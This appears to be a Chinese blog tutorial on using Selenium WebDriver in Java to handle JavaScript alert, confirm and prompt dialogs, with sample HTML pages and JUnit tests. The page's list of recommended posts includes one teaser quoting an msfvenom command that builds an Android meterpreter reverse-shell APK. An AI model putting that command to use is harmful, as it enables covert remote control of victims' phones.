操作JavaScript的Alert窗口

  测试网址代码 

  <html>
    <head>
      <title>你喜欢的水果</title>
    </head>
    <body>
      <input id='button' type='button' onclick="alert('这是一个alert弹窗');" value='单击此按钮,弹出alert弹出窗'/></input>
    </body>
  </html>

  Java语言版本API实例 

  @Test
  public void testHandleAlert() {
    driver.manage().window().maximize();
    driver.get(url);
    WebElement button = driver.findElement(By.xpath("//input"));
    button.click();
    try {
      //使用driver.switchTo.alert()方法获取Alert对象
      Alert alert = driver.switchTo().alert();
      //断言判断
      Assert.assertEquals("这是一个alert弹窗", alert.getText());
      alert.accept();
    } catch (NoAlertPresentException exception) {
      Assert.fail("尝试操作的alert框未被找到");
      exception.printStackTrace();
    }
  }

  操作JavaScript的confirm窗口

  测试网址代码 

  <html>
    <head>
      <title>你喜欢的水果</title>
    </head>
    <body>
      <input id='button' type='button' onclick="confirm('这是一个confirm弹窗');" value='单击此按钮,弹出confirm弹出窗'/></input>
    </body>
  </html>

  Java语言版本API实例 

  @Test
  public void testHandleconfirm() {
    driver.manage().window().maximize();
    driver.get(url);
    WebElement button = driver.findElement(By.xpath("//input"));
    button.click();
    try {
      Alert alert = driver.switchTo().alert();
      Assert.assertEquals("这是一个confirm弹窗", alert.getText());
      alert.accept();
    } catch (NoAlertPresentException exception) {
      Assert.fail("尝试操作confirm未被找到");
      exception.printStackTrace();
    }
  }

  操作JavaScript的prompt窗口

  测试网址代码 

  <html>
    <head>
      <title>你喜欢的水果</title>
    </head>
    <body>
      <input id='button' type='button' onclick="prompt('这是一个prompt弹窗');" value='单击此按钮,弹出prompt弹出窗'/></input>
    </body>
  </html>

  Java语言版本API实例 

  @Test
  public void testHandlePrompt() {
    driver.manage().window().maximize();
    driver.get(url);
    WebElement button = driver.findElement(By.xpath("//input"));
    button.click();
    try {
      Alert alert = driver.switchTo().alert();
      Assert.assertEquals("这是一个prompt弹窗", alert.getText());
      //在prompt弹窗上输入内容
      alert.sendKeys("selemiun");
      //点击prompt上的确定按钮
      alert.accept();
      //alert.dismiss(); 取消按钮
    } catch (NoAlertPresentException exception) {
      Assert.fail("未找到prompt窗口");
      exception.printStackTrace();
    }
  }

WebDriverAPI(9)的更多相关文章

  1. WebDriverAPI(7)

      查看页面元素的属性 测试网址 http://www.baidu.com Java语言版本API实例 @Test public void getWebElementAttribute() { dri ...

  2. WebDriverAPI(10)

    操作Frame页面元素 测试网址代码 frameset.html: <html> <head> <title>frameset页面</title> &l ...

  3. WebDriverAPI(4)

    单击某个元素 采用元素id.click()方法即可 双击某个元素id.doubleClick 操作单选下拉列表 测试网页HTML代码 <html> <body> <sel ...

  4. WebDriverAPI(2)

    操作浏览器窗口 被测网址http:http://www.baidu.com Java语言版本的API实例代码 String url = "http://www.baidu.com" ...

  5. WebDriverAPI(8)

    判断页面元素是否存在 测试网址 http://www.baidu.com Java语言版本API实例 @Test public void testIsElementPresent(){ driver. ...

  6. WebDriverAPI(6)

    在指定元素上方进行鼠标悬浮 测试网址 http://www.baidu.com Java语言版本实例 @Test public void roverOnElement() { driver.manag ...

  7. WebDriverAPI(5)

    将当前浏览器截屏 测试网址 http://www.baidu.com Java语言版本实例 @Test public void captureScreenInCurrentWindows() { dr ...

  8. WebDriverAPI(3)

    获取页面的Title属性 被测网址http:http://www.baidu.com Java语言版本的API实例代码 String url = "http://www.baidu.com& ...

  9. WebDriverAPI(1)

    访问某网页地址 被测网址http:http://www.baidu.com Java语言版本的API实例代码 方法一: @Test public void visitURL(){ String bas ...

随机推荐

  1. 【commons-httpclient】Java中HttpClient工具访问Web请求

    注意jar包是: HttpClient工具使用 HttpClient 是 Apache Jakarta Common 下的子项目,可以用来提供高效的.最新的.功能丰富的支持 HTTP 协议的客户端编程 ...

  2. KbmMW 服务器架构简介

    kbmmw 由于文档比较少,很多同学开始用时很难理解.一直准备写一个关于kbmmw 架构的东西. 这几天与红鱼儿(blog)研究服务器线程时,整理了一下,大概画了一下kbmmw (版本4.5)服务器的 ...

  3. mysql 查询表 的所有字段名称

    select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and table_sc ...

  4. Nginx中间件使用心得(一)

    一.Nginx简介 1.什么是Nginx? Nginx是一个高效.可靠的web服务器和反向代理中间件. (高效:支持海量并发请求,可靠:可靠运行的)      2.Nginx地位? 在https:// ...

  5. 机器学习 数据预处理之独热编码(One-Hot Encoding)

    问题由来 在很多机器学习任务中,特征并不总是连续值,而有可能是分类值. 例如,考虑一下的三个特征: ["male", "female"] ["from ...

  6. [可用]android hack

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...

  7. SqlCommand和SqlDataAdapter的区别

    SqlDataAdapter对象 一.特点介绍1.表示用于填充 DataSet 和更新 SQL Server 数据库的一组数据命令和一个数据库连接.2.在SqlDataAdapter和DataSet之 ...

  8. (最小生成树) 畅通工程再续 -- HDU --1875

    链接: http://acm.hdu.edu.cn/showproblem.php?pid=1875 http://acm.hust.edu.cn/vjudge/contest/view.action ...

  9. (连通图 模板题)迷宫城堡--hdu--1269

    链接: http://acm.hdu.edu.cn/showproblem.php?pid=1269 http://acm.hust.edu.cn/vjudge/contest/view.action ...

  10. MySQL 分表和分区

    1.为什么需要分表和分区 在开发的过程中,经常会遇到大表的情况,所谓的大表是指存储了百万级乃至千万级条记录的表.这样的表过于庞大,导致数据库在查询和插入的时候耗时太长,如果涉及联合查询的情况,性能更加 ...